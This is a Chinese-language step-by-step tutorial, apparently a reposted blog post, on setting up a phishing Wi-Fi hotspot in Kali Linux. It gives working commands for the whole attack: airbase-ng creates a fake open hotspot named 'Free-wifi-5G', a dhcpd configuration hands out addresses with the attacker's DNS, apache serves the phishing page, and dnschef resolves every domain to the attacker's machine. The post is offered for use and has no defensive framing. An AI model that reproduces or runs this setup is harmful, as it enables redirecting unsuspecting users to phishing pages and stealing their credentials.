Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)

0x00 将网卡切换到监听模式并创建热点

airmon-ng start wlan0

这里是建立监听模式
如果出现wlan0mon则表示成功!
接下来创建热点
airbase-ng -e Free-wifi-5G -c 11 wlan0mon

如果出现以下,则表示创建热点成功,注意窗口不要关!!!
Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)
文章图片

但是这个时候手机可以搜到名为“Free-wifi-5G”的热点且无法连接,是因为没有分配IP
0x01 建立虚拟网卡并打开IP转发功能 首先重新打开一个终端,之前那个终端一定不要关!!!
这一步的意义是将这张网卡的流量转发到虚拟网卡上
ifconfig at0 up ifconfig at0 192.168.6.1 netmask 255.255.255.0 route add -net 192.168.6.0 netmask 255.255.255.0 gw 192.168.6.1 echo 1 > /proc/sys/net/ipv4/ip_forward

创建一个虚拟网卡at0并设置ip,子网掩码和网关
0x02 配置DHCP服务器 这里使用dhcpd来作为DHCP服务器
vim /etc/dhcp/dhcpd.conf

在dhcpd.conf里复制粘贴以下内容
ddns-update-style none; authoritative; default-lease-time 700; max-lease-time 8000; subnet 192.168.6.0 netmask 255.255.255.0 { option routers 192.168.6.1; option subnet-mask 255.255.255.0; option domain-name-servers 192.168.6.1; range 192.168.6.20 192.168.6.240; }

#第四行:默认租约时间
#第五行:设置最大租约时间
#第七行:设置子网属性,netmask关键字指定子网掩码
#第八行:指定为客户机分配的默认网关地址
#第九行:指定为客户机分配的子网掩码地址
#第十行:设置DNS服务器地址
#第十一行:设置动态分配的IP地址范围
这里需要一些网络基础,不懂得同学就直接复制粘贴上面代码框内容就可以
这里vim需要用到的操作:
i #插入模式
ESC键返回命令模式
: #输入命令
wq #回车保存退出
然后启动DHCP服务器
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

出现以下,就表示启动成功了

0x03 搭建钓鱼网站 这里使用apache搭建
网站路径在/var/www/html/下
只需要将钓鱼网站的源码放在这里就可以
这里教程就随便新建一个index.html做测试用
Hello!!!

Are u ok???

然后启动apache服务
service apache2 start

打开浏览器访问自己ip,如看到以下表示成功

0x04 劫持DNS 接下来要让连到我们钓鱼WIFI的人访问这个网页就需要DNS来进行解析
前面DHCP分配ip的时候就已经把DNS服务器指向我们了
这里就不需要重新搭建DNS服务器了
所以这里我们使用dnschef这个工具就可以了
dnschef -i 192.168.6.1 --fakeip 192.168.6.1

这条命令的作用是监听192.168.6.1并将所有域名泛解析成192.168.6.1也就是本地
Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)
文章图片

0x05 现在,我们可以拿出手机进行测试了 可以看到我的手机已经连接到我的钓鱼热点
Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)
文章图片

并已经自动获取到我们设置的IP和DNS
Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)
文章图片

不论你输入什么网站都会自动跳转到我们的界面
Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)
文章图片

Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)
文章图片

Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)
文章图片

0x06 测试结束 【Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)】由于使用真实机做的测试,所以拍照用了手机摄像头进行拍照,不是很清晰
真实机实验IP为6.12.0.1,本文配图仅供对比参考
如果有什么不清楚的地方可以问我

    推荐阅读